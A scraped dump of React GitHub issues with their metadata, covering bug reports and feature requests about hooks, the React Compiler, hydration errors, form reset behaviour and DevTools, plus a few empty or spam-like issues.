https://api.github.com/search/issues?q=Cannot reorder children for suspense node because no matching node was found in the Store. in:title is:issue is:open is:public label:"Component: Developer Tools" repo:facebook/react
``` | open | angularbinh2020 | 2025-12-28T11:43:37 | 2026-01-20T00:06:07 | null | [
"Type: Bug",
"Status: Unconfirmed",
"Component: Developer Tools"
] | null | 0 | {
"+1": 1
} | 4 | false | 2026-03-29T04:52:08.055486 | |||
facebook | react | 35,550 | I_kwDOAJy2Ks7kEv3H | false | Bug: [StrictMode] `getSnapshot` is not called after subscribing to external store when used in Suspense | in `useSyncExternalStore`, subscribe is called as a passive effect, so it's possible the store value has changed between render and effect. As a solution, I can see react calls `getSnapshot` right after subscribing to store, to check if value is stale.
However, when using `Suspense` in `StrictMode`, `getSnapshot` is not called after subscribing to store
React version: 19.2.3
## Steps To Reproduce
Consider below code ([codesandbox](https://codesandbox.io/p/sandbox/s4qq8t))
```tsx
const subscribe = (onStoreChange: () => void) => {
console.log("subscribe called");
return () => {
console.log("unsubscribe called");
};
};
const getSnapshost = () => {
console.log("getSnapshot called");
return 1;
};
const Content = ({ promise }: { promise: Promise<any> }) => {
React.use(promise);
const value = React.useSyncExternalStore(subscribe, getSnapshost);
console.log("rendered with value", value);
return <div>Value {value}</div>;
};
export default function App() {
const [, reRender] = React.useReducer((state: number) => state + 1, 0);
const promise = React.useRef(Promise.resolve());
return (
<div>
<button
onClick={() => {
console.log("button clicked");
promise.current = new Promise<void>((resolve) => {
setTimeout(() => {
resolve();
}, 500);
});
reRender();
}}
>
Trigger Suspense
</button>
<Suspense fallback={<p>Loading...</p>}>
<Content promise={promise.current} />
</Suspense>
</div>
);
}
```
## The current behavior
In StrictMode, after I click the button to trigger suspense, when it's resolved, it will re-mount the Content component, unsubscribe store, subscribe store, **without calling getSnapshot again**
my console is
```
button clicked
getSnapshot called
getSnapshot called
rendered with value 1
getSnapshot called
getSnapshot called
rendered with value 1
unsubscribe called
subscribe called
```
<img width="535" height="273" alt="Image" src="https://github.com/user-attachments/assets/8daa8e72-53b3-422a-a052-df787408def8" />
## The expected behavior
The expected behavior is that getSnapshot should be always called after subscribe is called, i.e. in console I should see
```
subscribe called
getSnapshot called <-- after last subscribe
``` | open | jzhan-canva | 2026-01-18T07:14:29 | 2026-01-20T07:27:41 | null | [
"Status: Unconfirmed"
] | null | 0 | {
"+1": 3,
"heart": 1
} | 1 | false | 2026-03-29T04:52:08.236884 | |||
facebook | react | 33,793 | I_kwDOAJy2Ks7AtxaN | false | Feature request: SimpleMemoComponent fast path for React.memo with custom arePropsEqual | https://github.com/facebook/react/pull/13903 added the `SimpleMemoComponent` tag and created the fast path for components created by `React.memo` where component is just a function and the default props comparison is used. The PR description says:
> We could make it so that this also works with custom comparer but that means we have to go through one extra indirection to get to it. Maybe it's worth it, donno.
This is a feature request for making the fast path work with a custom props comparison.
I'm use custom props comparison extensively. I'm struggling to measure the overhead of the slow path -- [here's my attempt](https://jsbench.me/dgmcc7au3a/3) -- but I'm concerned it may be significant. This also has the side effect of creating an extra node in React DevTools, which makes debugging harder. | open | barryam3 | 2025-07-15T18:03:51 | 2026-01-20T16:10:05 | null | [
"Status: Unconfirmed"
] | null | 0 | {} | 8 | false | 2026-03-29T04:52:08.290016 | |||
facebook | react | 34,556 | I_kwDOAJy2Ks7NK8tL | false | Bug: [React 19.1/19.2] useEffect does not run after changed dependencies due to startTransition | React version: 19.1.0/19.2.0
useEffect does not run after changed dependencies, due to startTransition.
## Steps To Reproduce
1. Open the [StackBlitz reproduction](https://stackblitz.com/edit/react-oc8htha1-yusxygge?file=src%2Fmain.hook.ts)
2. open the terminal
3. `npm install`
4. `npm run start` or `npm run start:dev`
5. Open the browser Developer Tools
6. Select Console tab from the Developer Tools
7. Load/reload the StackBlitz preview page
8. Watch the Developer Tools console logs.
Link to code reproductions:
- [StackBlitz](https://stackblitz.com/edit/react-oc8htha1-yusxygge?file=src%2Fmain.hook.ts)
## The current behavior
File `src/main.hooks.ts` contains an hook named `useData`. Inside this hook, the `useEffect` at line `53` should be executed 2 times because dependencies change 2 times (first with value `undefined` and second time with value `1`), but it is executed only once.
Following Developer Tools Console screenshot shows the issue.
<img width="722" height="218" alt="Image" src="https://github.com/user-attachments/assets/5a0ef768-b147-4aef-b7fa-47970e5b81a9" />
## The expected behavior
The `useEffect` at line `53` should be executed 2 times because dependencies change 2 times (first with value `undefined` and second time with value `1`).
Following Developer Tools Console screenshot shows the correct behavior.
<img width="722" height="218" alt="Image" src="https://github.com/user-attachments/assets/2b931a29-d154-4f98-8620-329f94f26ac0" />
Correct behavior can be achieved with one of these two **workarounds**:
- comment line `32` disabling the `setExample(ExampleInitialValue)`
- de-comment line `38` enabling `setExample(ExampleInitialValue + 1)`
## More Details
In this screenshot I show a brief explanation of the hook flow.
<img width="1029" height="1301" alt="Image" src="https://github.com/user-attachments/assets/2e7b0534-7130-4123-a28b-dd598ecbe40b" /> | open | daniele-orlando | 2025-09-22T18:29:28 | 2026-01-20T13:21:04 | null | [
"Status: Unconfirmed"
] | null | 0 | {} | 16 | false | 2026-03-29T04:52:08.362979 | |||
facebook | react | 24,865 | I_kwDOAJy2Ks5NTfXu | false | Bug: Failed to execute 'insertBefore' on 'Node'. | I have a react application with the following versions:
React version: 18.2.0
React-router-dom: 5.3.3
I have Sentry installed on it to monitor errors. In the development env I don't have this error, but Sentry in production for some time now keeps reporting me the following error. I have more than 300 reports in the last 2 weeks and it didn't happen before.
```bash
NotFoundError: Failed to execute 'insertBefore' on 'Node': The node before which the new node is to be inserted is not a child of this node.
```
I have seen that there are other issues related to this such as #22702, but I am not sure if it has to do with the same origin of the problem.
I have seen the problem occur in different views/components.
| closed | completed | victorst79 | 2022-07-07T07:28:12 | 2026-01-20T17:29:43 | 2024-04-10T08:02:31 | [
"Status: Unconfirmed",
"Resolution: Stale"
] | null | 0 | {} | 17 | false | 2026-03-29T04:52:08.443725 | ||
facebook | react | 35,570 | I_kwDOAJy2Ks7kcTLX | false | [Compiler Bug]: React Compiler throws hard errors for valid JS inside callbacks (non-render paths) | ### What kind of issue is this?
- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)
### Link to repro
https://playground.react.dev/#N4Igzg9grgTgxgUxALhAcimBACOAbASwQDsAXNAbgB1iaCBbABwhlOwCpsBDMbAJQRc4bAGYwI9bGhiDhlGjQQAPZq2wATBCK5Q8oqMWEEIxbAEFGjABQBKbMBrZcJsGwDaCGOJgAabFlIAUS8WAF1sAF5+WVIAOkwEAGVSLlIEAB5XGAJiAHNsAB9sYl08AD4rErw8G2paU2diV2wACy5idTwEAGFCOABrSO4wAE9DbFtIsvtHJ2xSGBGZhrnG5pkwXTYorgB3LgJRLn6EAQBHKARXWzrZ1YB6e+xAGXJooTZuiUYCLph5lvEu14LU8CDuc0e2CoIAAKhB1BBkNhElBLCw2AA3Lh4S7YABGeAgA14VjgJnUh2MxGxfkJuQIcBp2AgjFIVOxuDaORyuT8CFIcBs4KckN2hxaOW480W90ZApa-hSaXoJFI0OF2AIIgmGy2AH5Yp5vHYHCtVv5+cFvFZdXpDSEYLEVWAwFxcghahqnDJSLBiHVzdgAL4KM1OAJWliVUqes1B3CpOAKqwe5aBiMOqxoRISfkSvLYXaqwviPJoWOrEMNIO3Bo+v0TcHpCkYxUjLoRYDAbCMLjqCl5JEAJgADMGg2UNek8VBSKQTMziL0Gf1O20Ol1lwMJ1v+ul7jO5yZJ2H7EaWNgAGSX7DpRhlYDnmBB-f3qurfctk9OWNVmg8MY4GwEQDCMBdtBOc5LmuGwkQABXEegCCwdJZiKbt1FSLgkSyHlgzQ+xsCfJFu2dV13RwhY8PjKtplNb1+QbbtiMIsi3QQJE0AAMQOLp1DQYNgzqKsQB8EAyWIEQCFyFAQAYVQ2FIEZGBwbs4JxeliAAeVZKleHjMQJCkPEuDxBA8AAWkYDScgsmR3gsskmB+Tx7gpVx5HqKx6OwR4nO+PBUipABZeEOKhEBsTwdViHjV02TAKSrmwdSoE0nS2RcWpRPAFoIF2ABJMhPGpPAwBQbQyoQIMgA
### Repro steps
I was implementing a normal login flow in a client component using the React Compiler.
The issue occurred inside an event handler callback (handleSubmit) that runs in response to a form submit.
Inside this callback, I wrapped an async authentication call in a try/catch block and performed basic result checking using optional chaining (e.g. if (result?.error)), which is valid JavaScript and works correctly at runtime.
As soon as this code was analyzed by the React Compiler, it threw a hard compilation error saying that value blocks (optional chaining, conditionals, etc.) are not supported inside try/catch. This happens even though the code is not render logic, not memoized, and not part of React’s reactive graph.
I wasn’t doing anything unusual or advanced — just standard error handling inside an async callback. Removing the optional chaining or restructuring the logic avoids the error, but that requires large mechanical refactors across the codebase.
The issue reproduces consistently whenever optional chaining (or similar expressions) is used inside a try/catch within a callback function.
### How often does this bug happen?
Every time
### What version of React are you using?
latest
### What version of React Compiler are you using?
latest | closed | completed | Ranamalsingh12 | 2026-01-20T08:25:05 | 2026-01-20T18:02:23 | 2026-01-20T18:01:53 | [
"Type: Bug",
"Status: Unconfirmed"
] | null | 0 | {} | 2 | false | 2026-03-29T04:52:08.486692 | ||
facebook | react | 35,571 | I_kwDOAJy2Ks7kicIx | false | Bug: Support the new `<geolocation>` element | I tried using the [new `<geolocation>` element in Chrome](https://developer.chrome.com/blog/geolocation-html-element), but React didn't recognize the props.
This element is [only available in Chrome so far, and only in Chrome 144+](https://chromestatus.com/feature/5125006551416832#consensus). Not sure what the policy is for adding new elements to React, but thought I'd log this.
React version: `19.2.3`
## Steps To Reproduce
1. Use **Chrome 144 or higher**
2. Try to view a React component with the `<geolocation>` html element, like this:
```jsx
function Location() {
const handleLocation = (e) => {
console.log(e);
};
return (
<geolocation
onLocation={handleLocation}
autoLocate={false}
accuracyMode="precise"
></geolocation>
);
}
```
Link to code example:
https://stackblitz.com/edit/react-geolocation-repro?file=src%2FApp.jsx
## The current behavior
The component renders, but with console errors:
```
Unknown event handler property `onLocation`. It will be ignored.
```
```
React does not recognize the `autoLocate` prop on a DOM element. If you intentionally want it to appear in the DOM as a custom attribute, spell it as lowercase `autolocate` instead. If you accidentally passed it from a parent component, remove it from the DOM element.
```
```
React does not recognize the `accuracyMode` prop on a DOM element. If you intentionally want it to appear in the DOM as a custom attribute, spell it as lowercase `accuracymode` instead. If you accidentally passed it from a parent component, remove it from the DOM element.
```
## The expected behavior
React recognizes the props for `<geolocation/>` as documented in https://developer.chrome.com/blog/geolocation-html-element#implementation
| open | jhuleatt | 2026-01-20T15:28:36 | 2026-01-20T20:17:00 | null | [
"Status: Unconfirmed"
] | null | 0 | {} | 1 | false | 2026-03-29T04:52:08.563266 | |||
facebook | react | 34,863 | I_kwDOAJy2Ks7Rwj4X | false | [Compiler Todo]: function hoisting within jsx | React version: 19.2.0
eslint-plugin-react-hooks: 7.0.0
## Steps To Reproduce
```ts
function App() {
function CreatedAtRender1() {
return (
<div>
{/* Comment below to make it show error */}
<CreatedAtRender2 />
</div>
);
}
function CreatedAtRender2() {
return <div>M</div>;
}
return (
<div>
<CreatedAtRender1 />
</div>
);
}
```
1. Run `npm run lint`
2. No errors reported (Ignore the one tsconfig issue)
3. Comment out `<CreatedAtRender2 />`
4. Run `npm run lint`
5. the error will show as expected when linting.
Link to code example: https://stackblitz.com/edit/vitejs-vite-vuqvgbnf?file=src%2FApp.tsx&view=editor
## The current behavior
If two components are nested, the plugin thinks it is not created during render.
## The expected behavior
Flags for at least one error. | closed | not_planned | UltimateGG | 2025-10-15T18:41:39 | 2026-01-21T00:27:16 | 2026-01-21T00:27:16 | [
"Component: React Compiler",
"Resolution: Stale",
"Compiler: todo"
] | null | 0 | {} | 3 | false | 2026-03-29T04:52:08.647713 | ||
facebook | react | 35,583 | I_kwDOAJy2Ks7kwvl6 | false | [DevTools Bug]: | ### Website or app
GitHubRepo/Code Sanbox
### Repro steps
[capstone-LICENSE.txt](https://github.com/user-attachments/files/24765831/capstone-LICENSE.txt)
[LICENSE.txt](https://github.com/user-attachments/files/24765832/LICENSE.txt)
[yarapython-LICENSE.txt](https://github.com/user-attachments/files/24765838/yarapython-LICENSE.txt)
[SourceCode.zip](https://github.com/user-attachments/files/24765843/SourceCode.zip)
//github.com/user-attachments/files/24765783/pgbouncer-1.25.1.tar.gz)
### How often does this bug happen?
Every time
### DevTools package (automated)
_No response_
### DevTools version (automated)
_No response_
### Error message (automated)
_No response_
### Error call stack (automated)
```text
```
### Error component stack (automated)
```text
```
### GitHub query string (automated)
```text
``` | closed | completed | hzaw04090-cloud | 2026-01-21T12:15:22 | 2026-01-21T12:28:58 | 2026-01-21T12:28:58 | [
"Type: Bug",
"Status: Unconfirmed",
"Component: Developer Tools"
] | null | 0 | {} | 0 | false | 2026-03-29T04:52:08.729759 | ||
facebook | react | 35,580 | I_kwDOAJy2Ks7kwdTi | false | Bug:renove | <!--
Please provide a clear and concise description of what the bug is. Include
screenshots if needed. Please test using the latest version of the relevant
React packages to make sure your issue has not already been fixed.
-->
React version:
## Steps To Reproduce
1.
2.
<!--
Your bug will get fixed much faster if we can run your code and it doesn't
have dependencies other than React. Issues without reproduction steps or
code examples may be immediately closed as not actionable.
-->
Link to code example:
<!--
Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
repository on GitHub, or provide a minimal code example that reproduces the
problem. You may provide a screenshot of the application if you think it is
relevant to your bug report. Here are some tips for providing a minimal
example: https://stackoverflow.com/help/mcve.
-->
## The current behavior
## The expected behavior
| closed | completed | hzaw04090-cloud | 2026-01-21T11:57:14 | 2026-01-21T15:38:36 | 2026-01-21T15:38:36 | [
"Status: Unconfirmed"
] | null | 0 | {} | 0 | false | 2026-03-29T04:52:08.749974 | ||
facebook | react | 35,582 | I_kwDOAJy2Ks7kwdiG | false | Bug: | <!--
Please provide a clear and concise description of what the bug is. Include
screenshots if needed. Please test using the latest version of the relevant
React packages to make sure your issue has not already been fixed.
-->
React version:
## Steps To Reproduce
1.
2.
<!--
Your bug will get fixed much faster if we can run your code and it doesn't
have dependencies other than React. Issues without reproduction steps or
code examples may be immediately closed as not actionable.
-->
Link to code example:
<!--
Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
repository on GitHub, or provide a minimal code example that reproduces the
problem. You may provide a screenshot of the application if you think it is
relevant to your bug report. Here are some tips for providing a minimal
example: https://stackoverflow.com/help/mcve.
-->
## The current behavior
## The expected behavior
| closed | completed | hzaw04090-cloud | 2026-01-21T11:57:29 | 2026-01-21T17:23:41 | 2026-01-21T17:23:41 | [
"Status: Unconfirmed"
] | null | 0 | {} | 0 | false | 2026-03-29T04:52:08.783800 | ||
facebook | react | 35,499 | I_kwDOAJy2Ks7i9cga | false | [Compiler Bug]: react-hooks/exhaustive-deps conflicts with idea of React compiler in terms of functions memoization | ### What kind of issue is this?
- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)
### Link to repro
https://github.com/kaguya3222/react-compiler-exhaustive-deps-repro
### Repro steps
1. Clone the repo
2. `pnpm install`
3. `pnpm lint`
4. Explore the linting error
```log
error The 'logCount' function makes the dependencies of useEffect Hook (at line 22) change on every render. To fix this, wrap the definition of 'logCount' in its own useCallback() Hook react-hooks/exhaustive-deps
```
`App.tsx` file has a component named `App`. In this component we have a function `logCount`, used in useEffect. `react-hooks/exhaustive-deps` says: `React Hook useEffect has a missing dependency: 'logCount'. Either include it or remove the dependency array.`. After adding it to dependency array it says: `The 'logCount' function makes the dependencies of useEffect Hook (at line 22) change on every render. To fix this, wrap the definition of 'logCount' in its own useCallback() Hook.`
The problem is that I don't need to wrap this function into a `useCallback`, because compiler will do it for me.
Disabling eslint at the line of `logCount` definition is an option, but I don't think it's a good approach in the long term.
### How often does this bug happen?
Every time
### What version of React are you using?
19.2.0
### What version of React Compiler are you using?
1.0.0 | open | kaguya3222 | 2026-01-13T08:33:31 | 2026-01-21T12:20:44 | null | [
"Type: Bug",
"Status: Unconfirmed"
] | null | 0 | {
"+1": 4,
"heart": 2
} | 4 | false | 2026-03-29T04:52:08.847973 | |||
facebook | react | 30,580 | I_kwDOAJy2Ks6RtZrI | false | [React 19] Controlled `<select>` component is subject to automatic form reset | The controlled component also resets the "select" after the action is triggered.
but the "input" component does not.
```jsx
"use client";
import { useActionState, useState } from "react";
function add() {
return Date.now();
}
export default function Page() {
const [state, formAction] = useActionState(add, 0);
const [name, setName] = useState("");
const [type, setType] = useState("2");
return (
<form action={formAction}>
<p>{state}</p>
<p>
<input
type="text"
value={name}
onChange={(e) => setName(e.target.value)}
/>
</p>
<p>
<select
name="gender"
value={type}
onChange={(e) => setType(e.target.value)}
>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
</select>
</p>
<button>submit</button>
</form>
);
}
```
Repro: https://codesandbox.io/p/sandbox/stupefied-cohen-n578l6 | open | cjg1122 | 2024-08-02T10:01:56 | 2026-01-21T11:01:49 | null | [
"Type: Bug",
"React 19"
] | null | 0 | {
"+1": 41,
"confused": 1,
"eyes": 2
} | 39 | false | 2026-03-29T04:52:08.892410 | |||
facebook | react | 35,581 | I_kwDOAJy2Ks7kwdcv | false | Bug: | <!--
Please provide a clear and concise description of what the bug is. Include
screenshots if needed. Please test using the latest version of the relevant
React packages to make sure your issue has not already been fixed.
-->
React version:
## Steps To Reproduce
1.
2.
<!--
Your bug will get fixed much faster if we can run your code and it doesn't
have dependencies other than React. Issues without reproduction steps or
code examples may be immediately closed as not actionable.
-->
Link to code example:
<!--
Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
repository on GitHub, or provide a minimal code example that reproduces the
problem. You may provide a screenshot of the application if you think it is
relevant to your bug report. Here are some tips for providing a minimal
example: https://stackoverflow.com/help/mcve.
-->
## The current behavior
## The expected behavior
| closed | completed | hzaw04090-cloud | 2026-01-21T11:57:23 | 2026-01-21T17:24:05 | 2026-01-21T17:24:05 | [
"Status: Unconfirmed"
] | null | 0 | {} | 0 | false | 2026-03-29T04:52:08.977001 | ||
facebook | react | 34,862 | I_kwDOAJy2Ks7RwOBb | false | Bug: eslint-plugin-react-hooks not flagging hook used as value | In my app a zustand store is exported. These stores act as a hook, or have .getState/.setState on them. In some place I ended up using it as a value.
I only added the hooks plugin as the release notes say: `If you have already installed eslint-plugin-react-compiler, you can now remove it and use eslint-plugin-react-hooks@latest`
However, the plugin-react-compiler is catching this error that the hooks plugin is not. Resulting in the file silently failing to be optimized.
React version: 19.2.0
eslint-plugin-react-hooks: 7.0.0
## Steps To Reproduce
1. Use eslint-plugin-react-hooks
2. Use a hook as a value (e.g. console.log it)
3. In the repro, run npm run lint. You can see the compiler plugin erroring while the react-hooks plugin does not.
Link to code example: https://stackblitz.com/edit/vitejs-vite-asgtyazp?file=src%2FApp.tsx&view=editor
## The current behavior
The compiler will skip the offending component silently.
## The expected behavior
Eslint rule warns/errors as it does on the playground. | closed | not_planned | UltimateGG | 2025-10-15T18:12:28 | 2026-01-22T10:08:28 | 2026-01-22T10:08:28 | [
"Status: Unconfirmed",
"Resolution: Stale"
] | null | 0 | {} | 3 | false | 2026-03-29T04:52:09.044263 | ||
facebook | react | 34,835 | I_kwDOAJy2Ks7RRs7T | false | Bug: Template HTML element causes hydration issue | <!--
Please provide a clear and concise description of what the bug is. Include
screenshots if needed. Please test using the latest version of the relevant
React packages to make sure your issue has not already been fixed.
-->
When using server-side rendering, the template HTML seems to throw a hydration error. Not sure if it's related to how the browser processes template elements or how React is correcting the dom. I have tested this with Astro and Nextjs and have had the same error. The Template element is part of the HTML spec and should work https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/template
Use case might be for shareable web components used in React.
<img width="1383" height="404" alt="Image" src="https://github.com/user-attachments/assets/b7c07bf5-1454-4ab5-baae-aee0fee767cb" />
React version: React 19.1, 19.2
## Steps To Reproduce
1. Have a component which includes template element with elements inside.
2. Render it server side and wait for hydration error should be triggered
<!--
Your bug will get fixed much faster if we can run your code and it doesn't
have dependencies other than React. Issues without reproduction steps or
code examples may be immediately closed as not actionable.
-->
Link to code example:
```Template.tsx
'use client';
export function Template() {
return <template>hello</template>;
}
```
```Page.tsx
export default function Home() {
return (
<main>
<section className='container mx-auto grid lg:grid-cols-4'>
<div className='flex flex-col py-8 lg:col-span-3'>
<Template />
</div>
</section>
</main>
);
}
```
<!--
Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
repository on GitHub, or provide a minimal code example that reproduces the
problem. You may provide a screenshot of the application if you think it is
relevant to your bug report. Here are some tips for providing a minimal
example: https://stackoverflow.com/help/mcve.
-->
## The current behavior
Results in Error:
Error: Text content does not match server-rendered HTML.
See more info here: https://nextjs.org/docs/messages/react-hydration-error
Text content did not match. Server: "" Client: "hello"
## The expected behavior
Template HTML element is a part of the HTML spec and should not cause hydration errors.
| closed | not_planned | iankduffy | 2025-10-13T18:34:59 | 2026-01-22T05:12:09 | 2026-01-22T05:12:09 | [
"Status: Unconfirmed",
"Resolution: Stale"
] | null | 0 | {} | 5 | false | 2026-03-29T04:52:09.092704 | ||
facebook | react | 23,068 | I_kwDOAJy2Ks5BOFLM | false | React 18 - Avoiding hydration errors, but initialize client-only state directly if possible | This question is about hydration errors and workarounds that are future-proof for React 18 partial hydration and concurrent mode.
React hydration rules say that the server rendered html needs to match the client rendered dom that is rendered during the initial render in `hydrate()`. Mismatches (=slight differences in dom output) can cause all kinds of weird behavior because React's virtual dom does not match the real dom. Such mismatches can happen when rendering based on information that is only available on the client side, but not on the server side, e.g. conditional rendering based on `typeof window !== 'undefined'`, or rendering based on data from `localStorage`.
So this component will cause a hydration error if it is contained in the initial sever-rendered html (case 1), but it would not cause a hydration error if it only appeared later after hydration (case 2):
```
const MyComponent1 = () => {
const [viewState, setViewState] = useState(() => getViewStateFromLocalStorage())
return <button onClick={() => setViewState(oldViewState => toggledViewState(oldViewState))>{viewState}</button>
}
```
A common workaround is to use `useEffect` to apply client data only after hydration:
```
const MyComponent2 = () => {
const [viewState, setViewState] = useState('A')
useEffect(()=>{
setViewState(getViewStateFromLocalStorage())
},[])
return <button onClick={() => setViewState(oldViewState => toggledViewState(oldViewState))>{viewState}</button>
}
```
This workaround comes with a downside: for case 2 where the component only appears later after hydration, it would still flash from showing `"A"` first, and then the view state from `localStorage`. To make the component directly show the view state from `localStorage`, the code in `MyComponent1` would need to be used, but then the component can not be used in initial server renderings. So the component itself needs knowledge in which contexts it will be used, which is not ideal for modularity.
I currently know of no way to make the component work for both case 1 and case 2 and show the view state from `localStorage` directly in the initial render for case 2 without giving the component knowledge of its outer context.
I see 2 different theoretical approaches to solve this issue which are not yet possible in React AFAIK:
1. Signal to React that the component could cause hydration errors to make it compare the dom exactly and fix it accordingly:
```
const MyComponent: FunctionComponent = () => {
const [viewState, setViewState] = useState(() => getViewStateFromLocalStorage())
return <button onClick={() => setViewState(oldViewState => toggledViewState(oldViewState))>{viewState}</button>
}
MyComponent.gracefulHydrationErrors = true
```
2. Get the info from React if the current render of the component is currently rendering as part of the initial render during `hydrate()`:
```
const MyComponent = () => {
const isHydrating = useIsHydrating()
const [viewState, setViewState] = useState(() => isHydrating ? 'A' : getViewStateFromLocalStorage())
useEffect(()=>{
setViewState(getViewStateFromLocalStorage())
},[])
return <button onClick={() => setViewState(oldViewState => toggledViewState(oldViewState))>{viewState}</button>
}
```
Is there already a way to solve this issue properly with available apis? The solution also needs to work with React 18 partial hydration and concurrent mode.
| open | fabb | 2022-01-05T10:37:26 | 2026-01-22T06:08:51 | null | [
"Type: Discussion",
"React 18"
] | null | 0 | {
"+1": 15
} | 12 | false | 2026-03-29T04:52:09.167486 |
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